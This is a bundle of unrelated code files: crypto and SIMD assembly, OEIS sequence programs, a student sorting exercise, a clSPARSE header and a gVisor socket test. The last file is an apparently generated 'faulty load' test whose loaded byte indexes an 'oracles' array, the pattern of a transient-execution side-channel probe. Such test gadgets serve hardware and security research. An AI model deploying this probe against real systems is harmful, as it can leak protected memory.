pxor %xmm5, %xmm2
psrlq $(1), %xmm2
pxor %xmm5, %xmm2
psrlq $(1), %xmm2
pxor %xmm2, %xmm5
pxor %xmm1, %xmm5
pshufd $(78), %xmm6, %xmm2
pshufd $(78), %xmm8, %xmm0
pxor %xmm6, %xmm2
pxor %xmm8, %xmm0
pclmulqdq $(0), %xmm0, %xmm2
movdqa %xmm6, %xmm1
pclmulqdq $(0), %xmm8, %xmm6
pxor %xmm0, %xmm0
pclmulqdq $(17), %xmm8, %xmm1
pxor %xmm6, %xmm2
pxor %xmm1, %xmm2
palignr $(8), %xmm2, %xmm0
pslldq $(8), %xmm2
pxor %xmm0, %xmm1
pxor %xmm2, %xmm6
movdqa %xmm6, %xmm0
movdqa %xmm6, %xmm2
movdqa %xmm6, %xmm15
psllq $(63), %xmm0
psllq $(62), %xmm2
psllq $(57), %xmm15
pxor %xmm2, %xmm0
pxor %xmm15, %xmm0
movdqa %xmm0, %xmm2
pslldq $(8), %xmm2
psrldq $(8), %xmm0
pxor %xmm2, %xmm6
pxor %xmm0, %xmm1
movdqa %xmm6, %xmm2
psrlq $(5), %xmm2
pxor %xmm6, %xmm2
psrlq $(1), %xmm2
pxor %xmm6, %xmm2
psrlq $(1), %xmm2
pxor %xmm2, %xmm6
pxor %xmm1, %xmm6
pxor %xmm5, %xmm7
pxor %xmm6, %xmm7
pshufd $(78), %xmm7, %xmm2
pshufd $(78), %xmm8, %xmm0
pxor %xmm7, %xmm2
pxor %xmm8, %xmm0
pclmulqdq $(0), %xmm0, %xmm2
movdqa %xmm7, %xmm1
pclmulqdq $(0), %xmm8, %xmm7
pxor %xmm0, %xmm0
pclmulqdq $(17), %xmm8, %xmm1
pxor %xmm7, %xmm2
pxor %xmm1, %xmm2
palignr $(8), %xmm2, %xmm0
pslldq $(8), %xmm2
pxor %xmm0, %xmm1
pxor %xmm2, %xmm7
movdqa %xmm7, %xmm0
movdqa %xmm7, %xmm2
movdqa %xmm7, %xmm15
psllq $(63), %xmm0
psllq $(62), %xmm2
psllq $(57), %xmm15
pxor %xmm2, %xmm0
pxor %xmm15, %xmm0
movdqa %xmm0, %xmm2
pslldq $(8), %xmm2
psrldq $(8), %xmm0
pxor %xmm2, %xmm7
pxor %xmm0, %xmm1
movdqa %xmm7, %xmm2
psrlq $(5), %xmm2
pxor %xmm7, %xmm2
psrlq $(1), %xmm2
pxor %xmm7, %xmm2
psrlq $(1), %xmm2
pxor %xmm2, %xmm7
pxor %xmm1, %xmm7
pxor %xmm4, %xmm7
movdqa %xmm7, (32)(%rsp)
.Lsingle_block_procgas_5:
test %rax, %rax
jz .Lquitgas_5
.p2align 6, 0x90
.Lblk_loopgas_5:
movdqa (%rsp), %xmm0
movdqa %xmm0, %xmm1
paddd INC_1(%rip), %xmm1
movdqa %xmm1, (%rsp)
movdqa (%rcx), %xmm0
mov %rcx, %r10
pshufb SHUF_CONST(%rip), %xmm1
pxor %xmm0, %xmm1
movdqa (16)(%r10), %xmm0
add $(16), %r10
mov %r8d, %r11d
sub $(1), %r11
.p2align 6, 0x90
.Lcipher_loopgas_5:
aesenc %xmm0, %xmm1
movdqa (16)(%r10), %xmm0
add $(16), %r10
dec %r11
jnz .Lcipher_loopgas_5
aesenclast %xmm0, %xmm1
movdqa (16)(%rsp), %xmm0
movdqa %xmm1, (16)(%rsp)
movdqu (%rsi), %xmm1
add $(16), %rsi
pxor %xmm1, %xmm0
movdqu %xmm0, (%rdi)
add $(16), %rdi
pshufb SHUF_CONST(%rip), %xmm1
pxor (32)(%rsp), %xmm1
movdqa (%rbx), %xmm0
pshufd $(78), %xmm1, %xmm4
pshufd $(78), %xmm0, %xmm2
pxor %xmm1, %xmm4
pxor %xmm0, %xmm2
pclmulqdq $(0), %xmm2, %xmm4
movdqa %xmm1, %xmm3
pclmulqdq $(0), %xmm0, %xmm1
pxor %xmm2, %xmm2
pclmulqdq $(17), %xmm0, %xmm3
pxor %xmm1, %xmm4
pxor %xmm3, %xmm4
palignr $(8), %xmm4, %xmm2
pslldq $(8), %xmm4
pxor %xmm2, %xmm3
pxor %xmm4, %xmm1
movdqa %xmm1, %xmm2
movdqa %xmm1, %xmm4
movdqa %xmm1, %xmm15
psllq $(63), %xmm2
psllq $(62), %xmm4
psllq $(57), %xmm15
pxor %xmm4, %xmm2
pxor %xmm15, %xmm2
movdqa %xmm2, %xmm4
pslldq $(8), %xmm4
psrldq $(8), %xmm2
pxor %xmm4, %xmm1
pxor %xmm2, %xmm3
movdqa %xmm1, %xmm4
psrlq $(5), %xmm4
pxor %xmm1, %xmm4
psrlq $(1), %xmm4
pxor %xmm1, %xmm4
psrlq $(1), %xmm4
pxor %xmm4, %xmm1
pxor %xmm3, %xmm1
movdqa %xmm1, (32)(%rsp)
sub $(16), %rax
jg .Lblk_loopgas_5
.Lquitgas_5:
movdqa (%rsp), %xmm0
movdqa (16)(%rsp), %xmm1
movdqa (32)(%rsp), %xmm2
mov (152)(%rsp), %rax
mov (160)(%rsp), %rbx
mov (144)(%rsp), %rcx
pshufb SHUF_CONST(%rip), %xmm0
movdqu %xmm0, (%rax)
movdqu %xmm1, (%rbx)
pshufb SHUF_CONST(%rip), %xmm2
movdqu %xmm2, (%rcx)
add $(128), %rsp
vzeroupper
pop %rbx
ret
.Lfe5:
.size AesGcmDec_avx, .Lfe5-(AesGcmDec_avx)
|
; A099202: 2^floor(n^2/2).
; 1,1,4,16,256,4096,262144,16777216,4294967296,1099511627776,1125899906842624,1152921504606846976,4722366482869645213696,19342813113834066795298816,316912650057057350374175801344,5192296858534827628530496329220096
pow $0,2
div $0,2
mov $1,2
pow $1,$0
mov $0,$1
|
; QXL_PROCS_BASE - QXL Procedures Base V2.02 1992 Tony Tebby
section header
xref smsq_end
header_base
dc.l sb_initp-header_base ; length of header
dc.l 0 ; module length unknown
dc.l smsq_end-sb_initp ; loaded length
dc.l 0 ; checksum
dc.l 0 ; always select
dc.b 1 ; one level down
dc.b 0
dc.w smsq_name-*
smsq_name
dc.w 18,'SBASIC Procedures '
dc.l ' '
dc.w $200a
xdef tk2_ext
xref sb_procs
xref sb_xtprocs
xref qxl_prini ; our own QXL procs
xref sb_tk2procs
include 'dev8_keys_qlv'
include 'dev8_keys_err'
;+++
; Initialise SBASIC procedures
;---
sb_initp
lea sb_procs,a1 ; QL procedures
bsr.s sb_inipr
lea sb_xtprocs,a1 ; SMSQ extra procedures
bsr.s sb_inipr
jsr qxl_prini
tk2_ext
lea sb_tk2procs,a1
sb_inipr
move.w sb.inipr,a2
jmp (a2)
section exten
xdef dec_point
xdef zero_w
xdef prior
xdef pipe_len
xdef pipe_nol
dec_point dc.b '.'
zero_w dc.w 0
prior dc.w 8
pipe_len dc.w 9,'pipe_1024'
pipe_nol dc.w 4,'pipe'
end
|
;--------------------------------------------------------------------------------------------
;6. Escreva um programa que inicialize 10 posições de memórias com caracteres em
;maiúsculo, ordeneos em ordem alfabética e exiba na tela o conteúdo do vetor.
; Vinicius Atsushi Sato
;--------------------------------------------------------------------------------------------
SECTION .data
vetor: db 'JIHGFEDCBA'
flag: db 0
SECTION .text
global _start
_start:
inicio:
mov ebx,0
mov byte[flag],0
loop:
mov al,[vetor+ebx]
cmp al,[vetor+ebx+1]
jb not_swap
; se entrou aqui , então deve trocar o elemento atual com o proximo
mov dl,[vetor+ebx+1]
mov [vetor+ebx+1],al
mov [vetor+ebx],dl
mov byte[flag],1
not_swap: ; entra no not_swap então só incrementa o ebx que percorre o vetor e continua testando
inc ebx
cmp ebx,9
jb loop
cmp byte[flag],0
jne inicio
fim:
mov eax,4
mov ebx,1
mov edx,10
mov ecx,vetor
int 80h
mov eax,1
int 80h
|
#include <iostream>
int main(){
int array[10] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 0};
int res=0;
#pragma clang loop unroll(enable)
for(std::size_t i=0; i<10; ++i){
res+=array[i];
}
} |
; /*******************************************************************
; *
; * Author: Kareem Omar
; * kareem.h.omar@gmail.com
; * https://github.com/komrad36
; *
; * Last updated Oct 11, 2020
; *******************************************************************/
_TEXT$FastMaxI32 SEGMENT ALIGN(64)
FastMaxI32 PROC
mov eax,edx
cmp edx,32
jae CASE_LARGE
vpcmpeqd ymm0,ymm0,ymm0
vpslld ymm0,ymm0,31
lea r8,JUMP_TABLE
movzx edx,byte ptr [r8+rax]
add r8,rdx
lea rdx,[rcx+4*rax]
and eax,-8
lea rcx,[rcx+4*rax]
mov eax,080000000h
jmp r8
JUMP_TABLE:
db 1 DUP ( CASE_0 - JUMP_TABLE)
db 1 DUP ( CASE_1 - JUMP_TABLE)
db 1 DUP ( CASE_2 - JUMP_TABLE)
db 1 DUP ( CASE_3 - JUMP_TABLE)
db 4 DUP ( CASE_4 - JUMP_TABLE)
db 8 DUP ( CASE_8 - JUMP_TABLE)
db 8 DUP (CASE_16 - JUMP_TABLE)
db 8 DUP (CASE_24 - JUMP_TABLE)
db 45 DUP (0CCh)
CASE_24:
vmovdqu ymm0,ymmword ptr [rcx-96]
CASE_16:
vpmaxsd ymm0,ymm0,ymmword ptr [rcx-64]
CASE_8:
vpmaxsd ymm0,ymm0,ymmword ptr [rcx-32]
vpmaxsd ymm0,ymm0,ymmword ptr [rdx-32]
vextracti128 xmm1,ymm0,1
vpmaxsd xmm0,xmm0,xmm1
vpunpckhqdq xmm1,xmm0,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
db 4 DUP (0CCh)
CASE_4:
vmovdqu xmm0,xmmword ptr [rcx]
vpmaxsd xmm0,xmm0,xmmword ptr [rdx-16]
vpunpckhqdq xmm1,xmm0,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
CASE_3:
mov eax,dword ptr [rdx-12]
CASE_2:
cmp eax,dword ptr [rdx-8]
cmovl eax,dword ptr [rdx-8]
CASE_1:
cmp eax,dword ptr [rdx-4]
cmovl eax,dword ptr [rdx-4]
CASE_0:
ret
db 50 DUP (0CCh)
CASE_LARGE:
vmovdqu ymm0,ymmword ptr [rcx]
vmovdqu ymm1,ymmword ptr [rcx+32]
vmovdqu ymm2,ymmword ptr [rcx+64]
vmovdqu ymm3,ymmword ptr [rcx+96]
lea rdx,[rcx+4*rax]
add rcx,256
cmp rcx,rdx
jae LOOP_END
LOOP_TOP:
vpmaxsd ymm0,ymm0,ymmword ptr [rcx-128]
vpmaxsd ymm1,ymm1,ymmword ptr [rcx-96]
vpmaxsd ymm2,ymm2,ymmword ptr [rcx-64]
vpmaxsd ymm3,ymm3,ymmword ptr [rcx-32]
sub rcx,-128
cmp rcx,rdx
jb LOOP_TOP
LOOP_END:
vpmaxsd ymm0,ymm0,ymmword ptr [rdx-128]
vpmaxsd ymm1,ymm1,ymmword ptr [rdx-96]
vpmaxsd ymm2,ymm2,ymmword ptr [rdx-64]
vpmaxsd ymm3,ymm3,ymmword ptr [rdx-32]
vpmaxsd ymm0,ymm0,ymm2
vpmaxsd ymm1,ymm1,ymm3
vpmaxsd ymm0,ymm0,ymm1
vextracti128 xmm1,ymm0,1
vpmaxsd xmm0,xmm0,xmm1
vpunpckhqdq xmm1,xmm0,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovshdup xmm1,xmm0
vpmaxsd xmm0,xmm0,xmm1
vmovd eax,xmm0
ret
FastMaxI32 ENDP
_TEXT$FastMaxI32 ENDS
END
|
; A106352: Number of compositions of n into 3 parts such that no two adjacent parts are equal.
; 1,2,7,9,15,21,28,35,46,54,66,78,91,104,121,135,153,171,190,209,232,252,276,300,325,350,379,405,435,465,496,527,562,594,630,666,703,740,781,819,861,903,946,989,1036,1080,1128,1176,1225,1274,1327,1377,1431
mov $3,$0
add $3,1
mov $7,$0
lpb $3
mov $0,$7
sub $3,1
sub $0,$3
mov $2,$0
gcd $2,2
mov $4,$0
add $4,$2
sub $4,2
add $4,$2
mov $5,$0
mod $5,3
add $4,$5
mov $6,$4
sub $6,1
add $1,$6
lpe
mov $0,$1
|
/* ************************************************************************
* Copyright 2015 Vratis, Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* ************************************************************************ */
#pragma once
#ifndef _KERNEL_WRAP_HPP_
#define _KERNEL_WRAP_HPP_
#define CL_HPP_ENABLE_EXCEPTIONS
#define CL_HPP_MINIMUM_OPENCL_VERSION BUILD_CLVERSION
#define CL_HPP_TARGET_OPENCL_VERSION BUILD_CLVERSION
#ifdef __ALTIVEC__
#include <altivec.h>
#undef bool
#undef vector
#endif
#include <CL/cl2.hpp>
#include <iostream>
#include <cassert>
#include <vector>
#include <type_traits>
#include "clSPARSE.h"
#include "clsparse-control.hpp"
#include "ocl-type-traits.hpp"
//! \brief Class interface for specifying NDRange values.
//! not to include cl.hpp this is moved here and implementation
//! is changed to std::vector
class KernelWrap
{
public:
KernelWrap(cl::Kernel &kernel);
cl_int run (clsparseControl control, const cl::NDRange global,
const cl::NDRange local);
void reset()
{
argCounter = 0;
}
template<typename T,
typename std::enable_if<!is_pointer_fundamental<T>::value>::type* = nullptr>
KernelWrap& operator<< (const T& arg)
{
//std::cout << "NOT IMPLEMENTED" << std::endl;
static_assert(!is_pointer_fundamental<T>::value,
"!is_pointer_fundamental<T>::value>");
return *this;
}
template<typename T,
typename std::enable_if<is_pointer_fundamental<T>::value>::type* = nullptr>
KernelWrap& operator<< (const T arg)
{
std::cout << "Void* types should be managed here for CL20" << std::endl;
assert(argCounter < kernel.getInfo<CL_KERNEL_NUM_ARGS>());
int status = clSetKernelArgSVMPointer(kernel(),
argCounter++, arg );
return *this;
}
inline KernelWrap& operator<<(const cl_mem& val)
{
assert(argCounter < kernel.getInfo<CL_KERNEL_NUM_ARGS>());
cl_int status = 0;
status = kernel.setArg(argCounter++, sizeof(cl_mem), (const void*)&val);
return *this;
}
// support for cl::LocalSpaceArg
inline KernelWrap& operator<<(const cl::LocalSpaceArg& local)
{
assert(argCounter < kernel.getInfo<CL_KERNEL_NUM_ARGS>());
//there is no getArgInfo in OpenCL 1.1
#if defined(CL_VERSION_1_2)
assert(kernel.getArgInfo<CL_KERNEL_ARG_ADDRESS_QUALIFIER>(argCounter)
== CL_KERNEL_ARG_ADDRESS_LOCAL);
#endif
kernel.setArg(argCounter++, local);
return *this;
}
// support for raw cl::Buffer
inline KernelWrap& operator<<(const cl::Buffer& buffer)
{
assert(argCounter < kernel.getInfo<CL_KERNEL_NUM_ARGS>());
kernel.setArg(argCounter++, buffer);
return *this;
}
private:
cl::Kernel kernel;
cl_uint argCounter;
cl_uint addrBits;
};
// support for basic types
//cl 1.1 //there is no getArgInfo in OpenCL 1.1
//kind of leap of faith if on OpenCL everyting is ok with setting the args.
#if (BUILD_CLVERSION == 110)
#define KERNEL_ARG_BASE_TYPE(TYPE, TYPE_STRING) \
template<> inline KernelWrap& \
KernelWrap::operator<< <TYPE>(const TYPE& arg) \
{ \
assert(argCounter < kernel.getInfo<CL_KERNEL_NUM_ARGS>()); \
kernel.setArg(argCounter++, arg); \
return *this; \
}
#elif (BUILD_CLVERSION == 120)
// This string.compare gets around malformed null-terminating strings returned on Nvidia platforms
#define KERNEL_ARG_BASE_TYPE(TYPE, TYPE_STRING) \
template<> inline KernelWrap& \
KernelWrap::operator<< <TYPE>(const TYPE& arg) \
{ \
assert(argCounter < kernel.getInfo<CL_KERNEL_NUM_ARGS>()); \
assert(kernel.getArgInfo<CL_KERNEL_ARG_TYPE_NAME>(argCounter).compare( 0, sizeof(TYPE_STRING)-1, TYPE_STRING, 0, sizeof(TYPE_STRING)-1 ) == 0 ); \
kernel.setArg(argCounter++, arg); \
return *this; \
}
#else // (BUILD_CLVERSION == 200)
// This string.compare gets around malformed null-terminating strings returned on Nvidia platforms
#define KERNEL_ARG_BASE_TYPE(TYPE, TYPE_STRING) \
template<> inline KernelWrap& \
KernelWrap::operator<< <TYPE>(const TYPE& arg) \
{ \
assert(argCounter < kernel.getInfo<CL_KERNEL_NUM_ARGS>()); \
assert(kernel.getArgInfo<CL_KERNEL_ARG_TYPE_NAME>(argCounter).compare( 0, sizeof(TYPE_STRING)-1, TYPE_STRING, 0, sizeof(TYPE_STRING)-1 ) == 0 ); \
int status = clSetKernelArgSVMPointer(kernel(), \
argCounter++, \
(void *)(&arg)); \
return *this; \
}
#endif
KERNEL_ARG_BASE_TYPE( cl_int, "int" )
KERNEL_ARG_BASE_TYPE( cl_uint, "uint" )
KERNEL_ARG_BASE_TYPE( cl_short, "short" )
KERNEL_ARG_BASE_TYPE( cl_ushort, "ushort" )
KERNEL_ARG_BASE_TYPE( cl_float, "float" )
KERNEL_ARG_BASE_TYPE( cl_double, "double" )
KERNEL_ARG_BASE_TYPE( cl_ulong, "ulong" )
#endif //_KERNEL_WRAP_HPP_
|
; A168617: a(n) = 7*2^(n-1) - 2*n - 5.
; 0,5,17,43,97,207,429,875,1769,3559,7141,14307,28641,57311,114653,229339,458713,917463,1834965,3669971,7339985,14680015,29360077,58720203,117440457,234880967,469761989,939524035,1879048129,3758096319,7516192701,15032385467,30064771001,60129542071,120259084213,240518168499,481036337073,962072674223,1924145348525,3848290697131,7696581394345,15393162788775,30786325577637,61572651155363,123145302310817,246290604621727,492581209243549,985162418487195,1970324836974489,3940649673949079,7881299347898261
mov $1,4
mov $2,1
lpb $0
sub $0,1
mul $1,2
add $1,$2
add $2,2
lpe
sub $1,4
|
; A259457: From higher-order arithmetic progressions.
; Submitted by Jon Maiga
; 3,66,1050,15300,220500,3245760,49533120,789264000,13172544000,230519520000,4229703878400,81315551116800,1636227552960000,34417989365760000,755835784704000000,17305616126582784000,412559358036553728000,10227311816872550400000
mov $1,$0
add $0,2
bin $0,2
add $1,2
seq $1,138782 ; a(n) = n*(3*n-1)*n!/2.
mul $0,$1
div $0,24
|
; int puts(const char *s)
INCLUDE "clib_cfg.asm"
SECTION code_clib
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _puts
EXTERN _puts_fastcall
_puts:
pop af
pop hl
push hl
push af
jp _puts_fastcall
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _puts
EXTERN _puts_unlocked
defc _puts = _puts_unlocked
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
%include "../UltimaPatcher.asm"
%include "include/uw2.asm"
defineAddress 4, 0x3FD7, adjustSpriteVerticalPosition
defineAddress 4, 0x3FF6, adjustSpriteHeight
%include "../uw1/dontShrinkSprites.asm"
|
// Copyright 2018 The gVisor Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <netinet/tcp.h>
#include <vector>
#include "test/syscalls/linux/ip_socket_test_util.h"
#include "test/syscalls/linux/socket_non_blocking.h"
#include "test/syscalls/linux/socket_test_util.h"
#include "test/util/test_util.h"
namespace gvisor {
namespace testing {
namespace {
std::vector<SocketPairKind> GetSocketPairs() {
return ApplyVecToVec<SocketPairKind>(
std::vector<Middleware>{
NoOp, SetSockOpt(IPPROTO_TCP, TCP_NODELAY, &kSockOptOn)},
std::vector<SocketPairKind>{
IPv6TCPAcceptBindSocketPair(SOCK_NONBLOCK),
IPv4TCPAcceptBindSocketPair(SOCK_NONBLOCK),
});
}
INSTANTIATE_TEST_SUITE_P(
NonBlockingTCPSockets, NonBlockingSocketPairTest,
::testing::ValuesIn(IncludeReversals(GetSocketPairs())));
} // namespace
} // namespace testing
} // namespace gvisor
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xa9f, %r11
nop
nop
cmp $45377, %rcx
movw $0x6162, (%r11)
dec %r10
lea addresses_D_ht+0x1499f, %r12
nop
nop
nop
nop
nop
xor %rbx, %rbx
vmovups (%r12), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r11
nop
nop
nop
mfence
lea addresses_normal_ht+0xfd1b, %r10
nop
nop
nop
nop
nop
xor $50814, %r11
movups (%r10), %xmm0
vpextrq $1, %xmm0, %rdx
nop
nop
and %rbx, %rbx
lea addresses_UC_ht+0x29f, %rbx
nop
sub %r15, %r15
movw $0x6162, (%rbx)
nop
nop
and $43779, %rbx
lea addresses_D_ht+0xfe9f, %r15
nop
nop
nop
nop
cmp %rbx, %rbx
movl $0x61626364, (%r15)
nop
nop
nop
nop
nop
cmp %r10, %r10
lea addresses_normal_ht+0xa9f, %rsi
lea addresses_WT_ht+0x18a9f, %rdi
xor $37933, %rbx
mov $68, %rcx
rep movsw
nop
nop
nop
nop
inc %rcx
lea addresses_WC_ht+0x14d4f, %r10
nop
nop
nop
and $61553, %rdi
mov (%r10), %rdx
nop
nop
nop
nop
nop
xor %rbx, %rbx
lea addresses_WT_ht+0x195fe, %rsi
nop
nop
nop
nop
nop
add %r12, %r12
movb (%rsi), %r11b
nop
sub %rcx, %rcx
lea addresses_D_ht+0x1a69f, %rsi
lea addresses_D_ht+0x1e9f, %rdi
nop
nop
sub %rbx, %rbx
mov $34, %rcx
rep movsl
add %r10, %r10
lea addresses_UC_ht+0x8f1f, %rdx
nop
nop
nop
cmp %rsi, %rsi
mov $0x6162636465666768, %r12
movq %r12, %xmm5
and $0xffffffffffffffc0, %rdx
vmovaps %ymm5, (%rdx)
nop
nop
nop
nop
nop
and $9006, %rsi
lea addresses_WC_ht+0x161f, %rcx
nop
nop
sub %r12, %r12
movups (%rcx), %xmm5
vpextrq $0, %xmm5, %r10
nop
and $5479, %rbx
lea addresses_WT_ht+0x17eef, %rdx
nop
nop
add %r12, %r12
movups (%rdx), %xmm0
vpextrq $0, %xmm0, %r11
nop
nop
nop
and $53207, %rsi
lea addresses_WT_ht+0xa91f, %rdx
nop
dec %r15
movb (%rdx), %r11b
xor %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %r8
push %r9
push %rbp
push %rcx
// Store
lea addresses_UC+0x16b4f, %rbp
nop
inc %r14
movb $0x51, (%rbp)
nop
inc %r9
// Store
lea addresses_RW+0x57cf, %rbp
nop
nop
nop
dec %r13
movb $0x51, (%rbp)
nop
nop
nop
sub $5945, %r13
// Store
lea addresses_RW+0xa69f, %r9
nop
nop
nop
and $61150, %rcx
mov $0x5152535455565758, %r13
movq %r13, (%r9)
nop
nop
add $18119, %rbp
// Load
lea addresses_WC+0x197df, %rcx
nop
nop
nop
sub %r8, %r8
vmovups (%rcx), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %r9
nop
nop
and $14723, %rbp
// Faulty Load
lea addresses_PSE+0x12e9f, %rcx
nop
nop
nop
nop
nop
cmp %r13, %r13
mov (%rcx), %r14
lea oracles, %rcx
and $0xff, %r14
shlq $12, %r14
mov (%rcx,%r14,1), %r14
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 